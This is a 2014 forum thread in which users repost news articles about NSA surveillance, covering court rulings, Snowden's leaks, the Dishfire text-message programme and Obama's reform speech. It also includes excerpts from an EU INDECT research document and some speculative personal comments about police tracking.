In a separate case, less than two weeks after Leon's ruling, a federal judge in New York found just the opposite. U.S. District Judge William H. Pauley III ruled that the domestic collection program was legal and rejected a challenge brought by the American Civil Liberties Union, which filed an appeal Thursday.

If the constitutionality of the NSA program divides the federal appeals courts, it is likely the Supreme Court will decide the issue.

Along with its appeal, the Obama administration on Friday revealed that the secret Foreign Intelligence Surveillance Court renewed an order allowing the NSA’s domestic phone record collection.

In a statement, the Office of the Director of National Intelligence (ODNI) said that Leon’s ruling was the “lone contrary decision” and cited several rulings that sided with the administration, including the Dec. 27 ruling by Pauley.

“It is the administration’s view, consistent with the recent holdings of the United States District Courts for the Southern District of New York and Southern District of California, as well as the findings of 15 judges of the Foreign Intelligence Surveillance Court on 36 separate occasions over the past seven years, that the telephony metadata collection program is lawful,” the ODNI statement said.

..........

http://www.foxnews.com/politics/2014/01/03/justice-department-appeals-judge-ruling-against-nsa/

Appeals
Administration moves on 2 fronts to preserve NSA surveillance

Published January 03, 2014 • FoxNews.com

Title: Re: they know what you are doing
Post by: sky otter on January 04, 2014, 07:58:57 pm


http://www.huffingtonpost.com/2014/01/04/nsa-spying-congress_n_4542294.html

NSA Does Not Deny Spying On Congress: Members Have 'Same Privacy Protections' As All Americans YEAH ..NONE !!!


The Huffington Post  |  By Chris Gentilviso Posted: 01/04/2014 4:55 pm EST



Hours after Sen. Bernie Sanders (I-Vt.) questioned whether members of Congress are subject to the NSA's spying, the agency response revealed anything but a denial.

In a statement obtained by the Huffington Post on Saturday, an NSA spokesperson said that members of Congress "have the same privacy protections as all U.S. persons," adding that "transparency" is present between the two entities.

NSA’s authorities to collect signals intelligence data include procedures that protect the privacy of U.S. persons. Such protections are built into and cut across the entire process. Members of Congress have the same privacy protections as all U.S. persons. NSA is fully committed to transparency with Congress. Our interaction with Congress has been extensive both before and since the media disclosures began last June. We are reviewing Sen. Sanders’s letter now, and we will continue to work to ensure that all Members of Congress, including Sen. Sanders, have information about NSA’s mission, authorities, and programs to fully inform the discharge of their duties.
Under Sanders' definition, "spying" includes gathering metadata from personal or official phones, along with“any other data from a third party not made available to the general public in the regular course of business." The metadata classification has been considered by the NSA as not counting as "spying."

Sanders' letter arrived on the same day that the NSA's phone records program was reauthorized by the Foreign Intelligence Surveillance Court. It is the 36th time that a renewal has occurred.





we're freakin doomed..the inmates are running the asylum
Title: Re: they know what you are doing
Post by: robomont on January 05, 2014, 01:43:46 am
That iphone system above.only in a droid version.i believe was used against me about a month ago .by a county deputy.i believe these systems are already in place in all police cars.thats why cops only have to walk up to the car with your phone and not have to physically plug something into it.
I believe this is why the talk of a nationalized police force.because basically the whole surveillence system is a street cop to the nsa now.the distraction is telling the world it just the nsa when really its all of it from the cellphones to dishnetwork to xboxs to stop light cameras to cop cars .then on top this system is the wifi pinger visualization system and the cellwave pinger visualization system.these are very similar to the xbox system only working at different frequencies and covering larger areas.because of the systems covering larger areas .their detail is not as fine as wifi or ir.
Title: Re: they know what you are doing
Post by: zorgon on January 05, 2014, 03:57:49 am
NSA seeks to build quantum computer that could crack most types of encryption


Their old one :P I wonder if Pegasus can pick it up at government surplus? 1990 version :D

 ::)

[youtube]http://www.youtube.com/watch?v=BH8X8w8a4f4[/youtube]

http://www.youtube.com/watch?v=BH8X8w8a4f4

Quote
you scared yet?


Nah
Title: Re: they know what you are doing
Post by: The Matrix Traveller on January 05, 2014, 04:14:15 am
We should put a bid in for it, say 10 RMB and find a corner for it in our museum..  :)

The restriction on the 1990 version is the human input  :P

50 years from now, it will be seen as a joke...   :)
Title: Re: they know what you are doing
Post by: sky otter on January 07, 2014, 11:09:34 am

http://news.yahoo.com/snowden-more-u-israel-secrets-expose-greenwald-231902264--sector.html

Snowden has more U.S.-Israel secrets to expose:
Greenwald.  18 hours ago
 
JERUSALEM (Reuters) - Former U.S. spy agency contractor Edward Snowden has more secrets to reveal that relate to Israel, the journalist who first brought his leaks to the world's attention said on Monday.

 
Israel played down the disclosures. But Prime Minister Benjamin Netanyahu said he had ordered the matter examined and that "there are things that must not be done" between allies.

Glenn Greenwald, who as a writer for Britain's Guardian met face-to-face with the fugitive Snowden and has written or co-authored many of the newspaper's stories based on his material, was asked in an Israeli television interview whether the ex-contractor had more secrets to tell that related to Israel.

"Yes. I don't want to preview any stories that aren't yet published, but it is definitely the case that there are a huge number of very significant stories that are left to report," said the Brazil-based Greenwald, speaking to Channel Ten TV by video link.

"We have only had these documents for seven months, which, given their volume and complexity, is not a very long time. There definitely are stories left that involve the Middle East, that involve Israel. The reporting is going to continue at roughly the same pace that has been happening."

Last month, several Israeli cabinet members and lawmakers said news of U.S. spying on Israel was an opportunity to press Washington to free jailed Israeli agent Jonathan Pollard.

Pollard, a former U.S. Navy intelligence analyst, was sentenced to a life term in 1987 in the United States for spying for Israel. A succession of U.S. presidents have spurned Israeli calls for his pardon.

In what appeared to be a bid to calm the clamor, Netanyahu said Israel constantly sought Pollard's release and did not need a "special occasion" to discuss his case with Washington.

Greenwald voiced understanding for the Pollard linkage.

"I think you are absolutely right to contrast the Jonathan Pollard case with revelations of American spying on their closest allies within the Israeli government, because it does underlie, underscore exactly the hypocrisy that lies at the center of so much of what the U.S. government does," he said.

(Writing by Dan Williams; Editing by Ken Wills)

Politics & GovernmentForeign PolicyIsraelEdward SnowdenGlenn Greenwald.


.....................................................................


http://www.huffingtonpost.com/2013/10/31/edward-snowden-job_n_4180601.html


Edward Snowden Has A New Job, Russian Lawyer Says
Reuters  |  Posted: 10/31/2013 7:04 am EDT  |  Updated: 10/31/2013 2:42 pm EDT

Lawyer says Snowden to work for Russian internet site

* Says name of site being withheld for security reasons

* Snowden's location in Russia is being kept secret

* Russia has granted former U.S. spy agency contractor asylum

By Steve Gutterman

MOSCOW, Oct 31 (Reuters) - Former U.S. spy agency contractor Edward Snowden has found a job working for a website in Russia, where he was granted asylum after fleeing the United States, a Russian lawyer who is helping him said on Thursday.

"Edward starts work in November," lawyer Anatoly Kucherena said, according to state-run news agency RIA.

"He will provide support for a large Russian site," he said, adding that he would not name the site "for security reasons".

Snowden, 30, a former National Security Agency contractor who disclosed secret U.S. internet telephone surveillance programmes, fled to Hong Kong and then to Russia in June.

President Vladimir Putin has rejected U.S. pleas to send Snowden home to face charges including espionage, and the temporary asylum he was granted in early August can be extended annually.

Snowden's location in Russia has not been disclosed and since July he has appeared only in a handful of photographs and video clips from a meeting this month with visiting former U.S. national security officials who support his cause.

Putin, a former KGB spy, said repeatedly that Russia would only shelter Snowden if he stopped harming the United States.

But state media have treated him as a whistleblower and the decision to grant him asylum seemed to underscore Putin's accusations that the U.S. government preaches to the world about rights and freedoms it does not uphold at home.

Putin has dismissed the widespread assumption that Russian intelligence officers had grilled Snowden for information after he arrived, and Kucherena has portrayed him as trying to live as normal a life as possible under the circumstances.

He said earlier that he hoped Snowden would find a job because he was living on scant funds, mostly from donations.

A tabloid news site on Thursday published what it said was a photo of Snowden on a Moscow river cruise this summer, and the same site earlier published a photo of a man who looked like Snowden pushing a shopping cart in a supermarket parking lot.

Kucherena was not immediately available for comment, an aide said. (Writing by Steve Gutterman; Editing by Alistair Lyon)





Title: Re: they know what you are doing
Post by: sky otter on January 09, 2014, 12:03:40 pm


http://www.huffingtonpost.com/2014/01/07/james-clapper-nsa-changes_n_4558205.html


James Clapper Talks NSA Changes With Advisory Panel


01/07/14 07:59 PM ET EST 

WASHINGTON (AP) — The Obama administration says the top U.S. intelligence official has discussed potential changes to National Security Agency programs with the advisory panel recommending the changes.

Director of National Intelligence James Clapper met Tuesday with the five-member panel of intelligence and legal experts tapped by President Barack Obama. The group developed 46 tough oversight recommendations and Obama is weighing which to implement.

Among the proposals discussed in Tuesday's meetings was ending the NSA's massive collection of telephone data. Instead, phone companies or a third party could store the data.

Clapper's office says the group also discussed the NSA's weakening of commercially-used secure encryption standards. Another topic was a proposal to require greater judicial oversight for so-called national security letters that authorities use to seize financial and phone records.



.................................................................

http://www.huffingtonpost.com/2014/01/09/obama-nsa_n_4567195.html

Obama Weighs Limiting NSA Access To Phone Records

By JULIE PACE 01/09/14 07:20 AM ET EST 



WASHINGTON (AP) — President Barack Obama is expected to rein in spying on foreign leaders and is considering restricting National Security Agency access to Americans' phone records, according to people familiar with a White House review of the government's surveillance programs.

Obama could unveil his highly anticipated decisions as early as next week. On Thursday, the president is expected to discuss his review with congressional lawmakers, while his top lawyer plans to meet with privacy groups. Representatives from tech companies are meeting with White House staff on Friday.

The White House says Obama is still collecting information before making final decisions.

Among the changes Obama is expected to announce is more oversight of the National Intelligence Priorities Framework, a classified document that ranks U.S. intelligence-gathering priorities and is used to make decisions on scrutiny of foreign leaders. A presidential review board has recommended increasing the number of policy officials who help establish those priorities, and that could result in limits on surveillance of allies.

Documents released by former National Security Agency systems analyst Edward Snowden revealed that the U.S. was monitoring the communications of several friendly foreign leaders, including German Chancellor Angela Merkel. The revelations outraged Merkel as well as other leaders, and U.S. officials say the disclosures have damaged Obama's relations around the world.

Obama and Merkel spoke by phone Wednesday, but U.S. officials would not say whether they discussed the NSA issues.

The president also is said to be considering one of the review board's most aggressive recommendations, a proposal to strip the NSA of its ability to store telephone records from millions of Americans and instead have phone companies or a third party hold the records. The NSA would be able to access the records only by obtaining separate court approval for each search, though exceptions could be made in the case of a national security emergency.

It's unclear whether Obama will ultimately back the proposal or how quickly it could be carried out if he does.

Before making his final decisions, the president was supposed to receive a separate report from a semi-independent commission known as the Privacy and Civil Liberties Oversight Board, which was created by Congress. However, that panel's report has been delayed without explanation until at least late January, meaning it won't reach the president until after he makes his decisions public.

Members of that oversight board met with Obama on Wednesday and have briefed other administration officials on some of their preliminary findings. In a statement, the five-member panel said its meeting with the president focused on the NSA phone collection program and the Foreign Intelligence Surveillance Court, which oversees the data sweeps.

It's unclear why Obama will announce his recommendations before receiving the report from the privacy and civil liberties board. One official familiar with the review process said some White House officials were puzzled by the board's delay. The report would still be available to Congress, where legislators are grappling with several bills aimed at dismantling or preserving the NSA's authority.

That official and those familiar with the White House review insisted on anonymity because they were not authorized to discuss the process by name.

Obama also met Wednesday with members of the U.S. intelligence community, which largely supports keeping the NSA surveillance programs intact.

Shortly after receiving the review board recommendations last month, Obama signaled that he could be open to significant surveillance changes, including to the bulk collecting of phone records.

"There are ways we can do it, potentially, that gives people greater assurance that there are checks and balances — that there's sufficient oversight and sufficient transparency," Obama said at a Dec. 20 news conference. He added that programs like the bulk collection "could be redesigned in ways that give you the same information when you need it without creating these potentials for abuse."

The president also has backed the idea of adding a public advocate position to the Foreign Intelligence Surveillance Court, which rules on many of the domestic surveillance decisions. The court typically hears only from the government as it decides cases, and the advocate would represent privacy and civil liberties concerns.

That review followed disclosures from Snowden, who leaked details of several secret government programs. He faces espionage charges in the U.S., but has been granted temporary asylum in Russia.

While Obama has said he welcomes the review, it's unlikely it would have occurred without Snowden's disclosures.

Last month, U.S. District Judge Richard Leon ruled that the NSA's bulk collection program appeared to violate Fourth Amendment protections against unreasonable searches, but he didn't issue a preliminary injunction against unreasonable searches because of expected appeals. Late Wednesday, Justice Department lawyers asked Leon to halt further proceedings in his court on the NSA case and a second NSA-related lawsuit until the U.S. Court of Appeals for the District of Columbia Circuit hears the government's appeal of his December ruling.

Government lawyers said they were asking for the judicial stay from Leon because they were concerned that further court proceedings could jeopardize classified information about the surveillance program.

Larry Klayman, the conservative lawyer who filed the suit, has said he plans to ask the U.S. Supreme Court to hear the case.

___

Follow Julie Pace at http://twitter.com/jpaceDC


Title: Re: they know what you are doing
Post by: sky otter on January 15, 2014, 08:31:01 pm
vid at link

http://www.huffingtonpost.com/2014/01/14/nsa-international-computers_n_4599030.html?utm_hp_ref=world&ir=World

NSA Carves Pathway Into International Computers,
New York Times Reports
Reuters  |  Posted: 01/14/2014 9:44 pm EST  |  Updated: 01/15/2014 10:23 am EST

WASHINGTON, Jan 14 (Reuters) - The U.S. National Security Agency has put software in almost 100,000 computers around the world allowing it to carry out surveillance on those devices and could provide a digital highway for cyberattacks, the New York Times reported on Tuesday.

The NSA has planted most of the software through getting access to computer networks, but has also used a secret technology that allows it entry even to computers not connected to the Internet, the Times said, citing U.S. officials, computer experts and documents leaked by former NSA contractor Edward Snowden.

The Times said the technology had been in use since at least 2008 and relied on a covert channel of radio waves transmitted from tiny circuit boards and USB cards secretly inserted in the computers.

"The radio frequency technology has helped solve one of the biggest problems facing American intelligence agencies for years: getting into computers that adversaries, and some American partners, have tried to make impervious to spying or cyberattack," the newspaper said. "In most cases, the radio frequency hardware must be physically inserted by a spy, a manufacturer or an unwitting user."

Frequent targets of the program, code-named Quantum, have included units of the Chinese military, which Washington has accused of conducting digital attacks on U.S. military and industrial targets, the Times said.

The newspaper said the program had also succeeded in planting software in Russian military networks as well as systems used by Mexican police and drug cartels, European Union trade institutions and allies such as Saudi Arabia, India and Pakistan.

The Times said there was no evidence the NSA had implanted software or used the radio technology inside the United States.

"NSA's activities are focused and specifically deployed against - and only against - valid foreign intelligence targets in response to intelligence requirements," the Times quoted an agency spokeswoman as saying.

Questions about U.S. government spying on civilians and foreign officials burst into the open in June when Snowden, now living in asylum in Russia, leaked documents outlining widespread collection of telephone metadata and email.

President Barack Obama plans to unveil on Friday a series of intelligence reforms, including how the NSA operates, with a view toward giving Americans more confidence their privacy is not being violated.

(Writing by Peter Cooney; Editing by Lisa Shumaker)
Title: Re: they know what you are doing
Post by: sky otter on January 16, 2014, 03:21:44 pm
http://www.bbc.co.uk/news/world-us-canada-25770313


16 January 2014 Last updated at 16:28 ET
 

Report: NSA 'collected 200m texts per day'



The NSA extracted data on people's travel plans, contact networks, financial transactions and more based on the database of text messages, it was reported
The US National Security Agency (NSA) has collected and stored almost 200 million text messages a day from around the world, UK media report.

The NSA extracts and stores data from the SMS messages, and UK spies have had access to some of the information, the Guardian and Channel 4 News say.

The reporting is based on leaks by ex-NSA contractor Edward Snowden and comes ahead of a key US policy announcement.

The NSA told the BBC the programme stored "lawfully collected SMS data".

"The implication that NSA's collection is arbitrary and unconstrained is false," the NSA said.

President Barack Obama is set on Friday to announce changes to the US electronic surveillance programmes, based in part on a review of NSA activities undertaken this autumn by a White House panel.

On Thursday, the White House said Mr Obama had briefed UK Prime Minister David Cameron on the review.

The documents also reveal the NSA's UK counterpart GCHQ had searched the NSA's database for information regarding people in the UK, the Guardian reported.

In a statement to the BBC, GCHQ said all of its work was "carried out in accordance with the strict legal and policy framework".

'Privacy protections'
 
The programme, Dishfire, analyses SMS messages to extract information including contacts from missed call alerts, location from roaming and travel alerts, financial information from bank alerts and payments and names from electronic business cards, according to the report.

Through the vast database, which was in use at least as late as 2012, the NSA gained information on those who were not specifically targeted or under suspicion, the report says.

The NSA told the BBC its activities were "focused and specifically deployed against - and only against - valid foreign intelligence targets in response to intelligence requirements".

While acknowledging the SMS data of US residents may be "incidentally collected", the NSA added "privacy protections for US persons exist across the entire process".

"In addition, NSA actively works to remove extraneous data, to include that of innocent foreign citizens, as early as possible in the process."

The Guardian and Channel 4 also reported on a GCHQ document on the Dishfire programme that states it "collects pretty much everything it can" and outlines how the GCHQ analysts are able to search the database, with certain restrictions.

The GCHQ statement said: "All of GCHQ's work is carried out in accordance with the strict legal and policy framework which ensures that our activities are authorised, necessary and proportionate and that there is rigorous oversight."

Mr Snowden, a former contractor with the NSA, has been charged in the US with espionage and is currently a fugitive in Russia.


.............................................



edit to add... it is called Code-named "Dishfire

http://www.huffingtonpost.com/2014/01/16/nsa-text-messages_n_4613470.html

NSA Collects Millions Of Text Messages Globally, The Guardian Reports
Reuters  |  Posted: 01/16/2014 8:06 pm EST

WASHINGTON, Jan 16 (Reuters) - The U.S. National Security Agency has been gathering nearly 200 million text messages a day from around the world, gathering data on people's travel plans, contacts and credit card transactions, Britain's Guardian newspaper reported on Thursday.

Code-named "Dishfire," the NSA program collects "pretty much everything it can," the Guardian said, citing a joint investigation with the UK's Channel 4 News based on material from fugitive former NSA contractor Edward Snowden.

The newspaper said the documents also showed that the British spy agency GCHQ had used the NSA database to search the metadata of "untargeted and unwarranted" communications of people in the United Kingdom.

It added that communications from U.S. phone numbers were removed or "minimized" from the database, while numbers from other countries, including the UK, were kept.

Citing a 2011 NSA presentation subtitled "SMS Text Messages: A Goldmine to Exploit," the Guardian said the program collected 194 million text messages a day on average in April that year.

"The NSA has made extensive use of its vast text message database to extract information on people's travel plans, contact books, financial transactions and more - including of individuals under no suspicion of illegal activity," the Guardian report said.

U.S. President Barack Obama is scheduled to announce reforms on Friday to NSA eavesdropping programs, prompted by disclosures from Snowden.

Questions about U.S. government spying on civilians and foreign officials burst into the open in June when Snowden leaked secrets about mass collection of telephone data and other secret eavesdropping programs to newspapers before fleeing to Hong Kong and then to Moscow.

Asked about the Guardian article, the NSA said, "As we have previously stated, the implication that NSA's collection is arbitrary and unconstrained is false."


The agency's activities "are focused and specifically deployed against - and only against - valid foreign intelligence targets in response to intelligence requirements," the NSA said in a statement, adding that Dishfire processed and lawfully stored collected text-message, or SMS data.

"Because some SMS data of U.S. persons may at times be incidentally collected in NSA's lawful foreign intelligence mission, privacy protections for U.S. persons exist across the entire process concerning the use, handling, retention, and dissemination of SMS data in DISHFIRE," the agency said.

"In addition, NSA actively works to remove extraneous data, to include that of innocent foreign citizens, as early as possible in the process," it said.

(Writing by Peter Cooney; Editing by Richard Chang)

.....................................................

http://www.theguardian.com/world/2014/jan/16/nsa-collects-millions-text-messages-daily-untargeted-global-sweep

NSA collects millions of text messages daily in 'untargeted' global sweep

.................................................



http://www.nbcnews.com/technology/hundreds-millions-texts-snooped-daily-nsa-latest-leak-2D11943973
Hundreds of millions of texts snooped daily by NSA: Latest leak
 
Devin Coldewey NBC News
4 hours ago  
(http://i58.servimg.com/u/f58/13/55/53/83/2d113410.jpg)

National Security Agency / Cryptome
The first slide of the leaked NSA presentation (document hosted by Cryptome.org).

The first slide of the leaked NSA presentation (document hosted by Cryptome.org).
The Guardian has published details on yet another NSA program for the mass collection of mobile phone data. The latest, called "Dishfire," enables nearly 200 million text messages to be intercepted and stored every day, heedless of whether the sender or recipient is under investigation or not.

Dishfire is detailed in an 8-page presentation from 2011 provided by NSA whistleblower Edward Snowden; SMS communication is described as "a goldmine to exploit," and the leaked document goes on to explain how the content and metadata of texts can be used to determine location, contact networks, and other data.

The NSA issued a statement to the Guardian saying it deployed Dishfire only against "valid foreign intelligence targets," but this is contradicted by a memo from the United Kingdom's equivalent to the NSA that leaked along with the presentation. It reads in part:

Dishfire contains a large volume of unselected SMS traffic. This makes it particularly useful for the development of new targets, since it is possible to examine the content of messages sent months or even years before the target was known to be of interest.

Clearly, if the system can provide messages from before a target was being investigated, it is not being directed only at targets. The NSA has yet to account for this discrepancy.

More details about the program can be found in the Guardian's report.

Devin Coldewey is a contributing writer for NBC News Digital. His personal website is coldewey.cc.

Title: Re: they know what you are doing
Post by: sky otter on January 17, 2014, 11:31:43 am
booooo hissssssssss..not enough...figures
sounds more like a don't get caught again boys..instead of a don't do it

the gov won't HOLD the info.. someone else will but no mention of stopping the collection of data
the only difference between the last one and this one is outside color..imo
  :(




http://news.msn.com/us/obama-bans-spying-on-leaders-of-us-allies-scales-back-nsa-program

Obama bans spying on leaders of U.S. allies, scales back NSA program

In a nod to privacy advocates, Obama will say he has decided that the government should not hold the bulk telephone metadata.

WASHINGTON — President Barack Obama banned U.S. eavesdropping on the leaders of close friends and allies on Friday and began reining in the vast collection of Americans' phone data in a series of reforms triggered by Edward Snowden's revelations.

In a major speech, Obama took steps to reassure Americans and foreigners alike that the United States will take into account privacy concerns that arose after former U.S. spy contractor Snowden's damaging disclosures about the sweep of monitoring activities of the National Security Agency (NSA).

"The reforms I'm proposing today should give the American people greater confidence that their rights are being protected, even as our intelligence and law enforcement agencies maintain the tools they need to keep us safe," he said.

Related: Proposed spy phone record shift draws resistance

Obama promised that the United States will not eavesdrop on the heads of state or government of close U.S. friends and allies, which a senior administration official said would apply to dozens of leaders.

The step was designed to smooth over frayed relations between, for example, the United States and Germany after reports surfaced last year that the NSA had monitored the mobile phone of German Chancellor Angela Merkel. Brazilian President Dilma Rousseff postponed a state visit to Washington to protest U.S. tactics.

"The leaders of our close friends and allies deserve to know that if I want to learn what they think about an issue, I will pick up the phone and call them, rather than turning to surveillance," Obama said.

Related: Justice Department is venue for Obama NSA speech

Obama is trying to balance public anger at the disclosure of intrusion into Americans' privacy with his commitment to retain policies he considers critical to protecting the United States.

The steps Obama put in motion are aimed at adapting regulations to keep up with rapid changes in surveillance technology that permit NSA analysts to monitor private communications globally.

Among the list of reforms, Obama called on Congress to establish an outside panel of privacy advocates for the secret Foreign Intelligence Surveillance (FISA) Court that considers terrorism cases. The former chief judge of the FISA court had opposed such a step.

While the speech was designed to address concerns that U.S. surveillance has gone too far, Obama's measures were relatively limited.

"METADATA"

One of the biggest changes will be an overhaul of the government's handling of bulk telephone "metadata." He said the program will be ended as it currently exists.

Related: US releases more documents on surveillance origins

In a nod to privacy advocates, the government will not hold the bulk telephone metadata, a decision that could frustrate some intelligence officials.

In addition, Obama said the U.S. the government will need a judicial review before the database, which lists millions of telephone calls, can be queried unless there is a true emergency.

Obama also decided that communications providers would be allowed to share more information with the public about government requests for data.

Related: Govt drops objection to publishing secret opinion

While a presidential advisory panel had recommended that the bulk data be controlled by a third party such as the telephone companies, Obama did not plan to offer a specific proposal for who should store the data in the future.

Obama has asked Attorney General Eric Holder and the intelligence community to report back to him before the metadata program comes up for reauthorization on March 28 on how to preserve the necessary capabilities of the program, without the government holding the metadata.

Obama made clear that his administration's anger at Snowden's revelations has not abated. Snowden, living in asylum in Russia, is wanted on espionage charges, although some Americans would like him to be granted amnesty for exposing secrets they feel needed to be made public.

"The sensational way in which these disclosures have come out has often shed more heat than light, while revealing methods to our adversaries that could impact our operations in ways that we may not fully understand for years to come," Obama said, mentioning the former NSA contractor by name.

Obama said U.S. intelligence agencies will only use bulk collection of data for fighting terrorism protecting U.S. troops and allies, and combating crime.

(Additional reporting by Mark Felsenthal)

___
..................................................................



http://www.huffingtonpost.com/2014/01/17/obama-edward-snowden_n_4617970.html

Edward Snowden Vindicated: Obama Speech Acknowledges Changes Needed To Surveillance

The Huffington Post  |  By Matt Sledge
Posted: 01/17/2014 12:18 pm EST  |  Updated: 01/17/2014 12:48


In a major speech Friday on the future of the National Security Agency, President Barack Obama announced a series of modest reforms to the way the agency does business. While he was doing so, he also reluctantly acknowledged the secret surveillance programs that former NSA contractor Edward Snowden exposed needed changing.

"The task before us now is greater than simply repairing the damage done to our operations; or preventing more disclosures from taking place in the future," Obama said. "Instead, we have to make some important decisions about how to protect ourselves and sustain our leadership in the world, while upholding the civil liberties and privacy protections that our ideals -- and our Constitution -- require."

Obama's remarks were grudging toward Snowden, who fled to Russia after his leaks were made public and has been charged with violating the Espionage Act. The president said he was "not going to dwell on Mr. Snowden’s actions or motivations," and that "our nation’s defense depends in part on the fidelity of those entrusted with our nation’s secrets."

But Snowden's leaks didn't just inform the public debate: in a piece on Thursday, The New York Times reported that Obama himself was unaware until Snowden's disclosures that the NSA was tapping the phones of foreign leaders like German Chancellor Angela Merkel.

"Intelligence agencies cannot function without secrecy, which makes their work less subject to public debate. Yet there is an inevitable bias not only within the intelligence community, but among all who are responsible for national security, to collect more information about the world, not less," Obama said. "So in the absence of institutional requirements for regular debate -- and oversight that is public, as well as private -- the danger of government overreach becomes more acute."

For Snowden, whose supporters have always maintained that he is a whistleblower motivated by the Constitution's higher ideals, the speech and the changes it telegraphs will likely come as a major vindication.

“For me, in terms of personal satisfaction, the mission’s already accomplished,” Snowden told The Washington Post in December. “I already won. As soon as the journalists were able to work, everything that I had been trying to do was validated. Because, remember, I didn’t want to change society. I wanted to give society a chance to determine if it should change itself.”

Any other developments beyond a public debate, Snowden added, were "stretch goals" -- and on Friday, with the incremental changes Obama announced, it looks like some of those goals were accomplished.
Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on January 17, 2014, 05:33:45 pm
..............B......U.....M.....P...!.....;D............


Well done, Sky, maybe you also want to check This (http://www.thelivingmoon.com/inventors_group/files/spying.pdf) out!

(finally found this file i once posted on ATS :P )
 ;)
Yours,

-PWM-
Title: Re: they know what you are doing
Post by: ArMaP on January 17, 2014, 05:53:11 pm
Well done, Sky, maybe you also want to check This (http://www.thelivingmoon.com/inventors_group/images/files/spying.pdf) out!
It says "Not found".  :(
Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on January 17, 2014, 05:57:15 pm
Ooops, sorry, hope it's fixed now.
(P.S. click on the original link)
It's a piece of software they are currently using in the UK... ;)
Title: Re: they know what you are doing
Post by: sky otter on January 17, 2014, 10:11:23 pm


thanks pwm.. but i don't download anything  8)
Title: Re: they know what you are doing
Post by: PLAYSWITHMACHINES on January 20, 2014, 02:46:16 am
OK, here is a small extract from that document;


Quote
1 Executive Summary
Security is becoming a weak point of energy and communications infrastructures, commercial stores, conference centers, airports and sites with high person traffic in general. Practically any crowded place is vulnerable, and the risks should be controlled and minimized as much as possible. Access control and rapid response to potential dangers are properties that every security system for such environments should have.

 The INDECT project is aiming to develop new tools and techniques that will help the potential end users in improving their methods for crime detection and prevention thereby offering more security to the citizens of the European Union.
In the context of the INDECT project, work package 4 is responsible for the Extraction of Information for Crime Prevention by Combining Web Derived Knowledge and Unstructured Data.

 This document describes the first deliverable of the work package which gives an overview about the main methodology and description of the XML data corpus schema and describes the methodology for collection, cleaning and unified representation of large textual data from various sources: news reports, weblogs, chat, etc.

2 Introduction
This section provides an overview of deliverable 4.1, the list of participants and their roles as well as a thorough description of the annotation schemes used in publicly or under licence available corpora.

The aim of work package 4 (WP4) is the development of key technologies that facilitate the building of an intelligence gathering system by combining and extending the current-state-ofthe-art methods in Natural Language Processing (NLP). One of the goals of WP4 is to propose NLP and machine learning methods that learn relationships between people and organizations through websites and social networks. Key requirements for the development of such methods are: (1) the identification of entities, their relationships and the events in which they participate, and (2) the labelling of the entities, relationships and events in a corpus that will be used as a means both for developing the methods.

2.1 Objectives and Results
In this report, we provide an overview and a thorough review of the annotation schemes used to accomplish the above goals. Based on our review, we propose a new annotation scheme able to extend the current schemes. The WP4 annotation scheme is used for the tagging of the XML data corpus that is being developed within workpackage 4. Our general objectives can be summarised as follows:


Review of current annotation schemes for entity resolution and attribute identification
Our first objective is the study and critical review of the annotation schemes employed so far for the development and evaluation of methods for entity resolution, co-reference resolution and entity attributes identification.
Proposal of a new annotation & knowledge representation scheme
Based on the first objective, our second goal is to propose a new annotation scheme that builds upon the strengths of the current-state-of-the-art. Additionally, the new annotation scheme should be extensible and modifiable to the requirements of the project.

2.1.1 Main Objectives
Given an XML data corpus extracted from forums and social networks related to specific threats (e.g. hooliganism, terrorism, vandalism, etc.); an annotation and knowledge representation scheme that should provide the following information:
• The different entity types according to the requirements of the project.
• The grouping of all references to an entity together.
• The relationships between different entities.
• The events in which entities participate.
Additionally the annotation and knowledge representation scheme should be extensible to include new semantic information..


2.1.2.1 WP4-annotation & knowledge representation scheme
The WP4-annotation & knowledge representation scheme allows the identification of several types of entities, groups the same references into one class, while at the same time allows the identification of relationships and events.

• Automatic Content Extraction (ACE)
The first dataset is the Automatic Content Extraction Dataset (release: LDC2007E63)
[2]. This dataset is provided by the Linguistic Data Consortium [1] under license. This dataset has been produced using a variety of sources, such as news, broadcast conversations, etc. Table 1.1 provides an overview of the dataset properties. More importantly, ACE annotation also focuses on co-reference resolution, identifying relations between entities, and the events in which these participate.

• Knowledge Base Population (KBP)
The annotation scheme in KBP focuses on the identification of entity types of Person (PER), Organization (ORG), and Geo-Political Entity (GPE), Location (LOC), Facility (FAC), Geographical/Social/Political (GPE), Vehicle (VEH) and Weapon (WEA).
The goal of the 2009 Knowledge Base Population track (KBP) [3] is to augment an existing knowledge representation with information about entities that is discovered from a collection of documents. A snapshot of Wikipedia infoboxes is used as the original knowledge source.

The document collection consists of newswire articles on the order of 1 million. The reference knowledge base includes hundreds of thousands of entities based on articles from an October 2008 dump of English Wikipedia. The annotation scheme in KBP focuses on the identification of entity types of Person (PER), Organization (ORG), and Geo-Political Entity (GPE).
• NetFlix
NetFlix [9] is a movie rental site that has started a competition to improve upon its movie recommendation engine. The movie rating data contain over 100 million ratings from 480 thousand randomly-chosen, anonymous Netflix customers over 17 thousand movie titles.
It is straightforward that NetFlix focuses on a domain-specific task, hence its annotation is well-suited for this domain.

• WePS-2
The Web People Search (WePS) workshop [4, 5] focuses on two tasks: (1) clustering web pages to solve the ambiguity of search results, and (2) extracting 18 kinds of attribute values for target individuals whose names appear on a set of web pages. Similarly to ACE & KBP, WePS annotates entity names, and their attributes, i.e. relationships, birth dates and others.

Worried yet?


Quote
The specific objective of the ACE project is to develop technology to automatically infer from human language data the following:
 8) The named entities being mentioned in text.
 8) The relations that exist among the identified entities.
 8) The events in which the identified entities participate.
 8) All references to an entity and its properties.
It should also be mentioned that the ACE data sources include audio and imaged data in addition to pure text. In addition to English, ACE has also released datasets for Chinese and Arabic.
Title: Re: they know what you are doing
Post by: robomont on January 20, 2014, 04:09:39 am
This means even your private property like your house and land.

Lets say they have plans to turn you and your neighbors land into a new amusement park for xyz corporation.first they id owners then they start stalking those owners the system built into police cars.the police get a hit on their screen saying watch this driver.the cop starts following you.waiting for youto break a minor law.bam you get a ticket.well this continues every day you are on the road.pretty soon you lose your dl.now you cant drive to work.and your fined into bankruptcy.now you cant pay your house payment and you have a criminal history so nohody will hire you.
Now they do it to all your neighbors too.now all yall have just paid the gov to take everything you own away from you and the xyz corporation gets to buy the whole neighborhood for pennies on the dollar.
You say they would never do it.its happening right now to me and people all over the usa.and all the public officals are claiming ignorance.
Title: Re: they know what you are doing
Post by: sky otter on January 20, 2014, 03:20:49 pm
thanks for that pwm..you're a doll  ;)








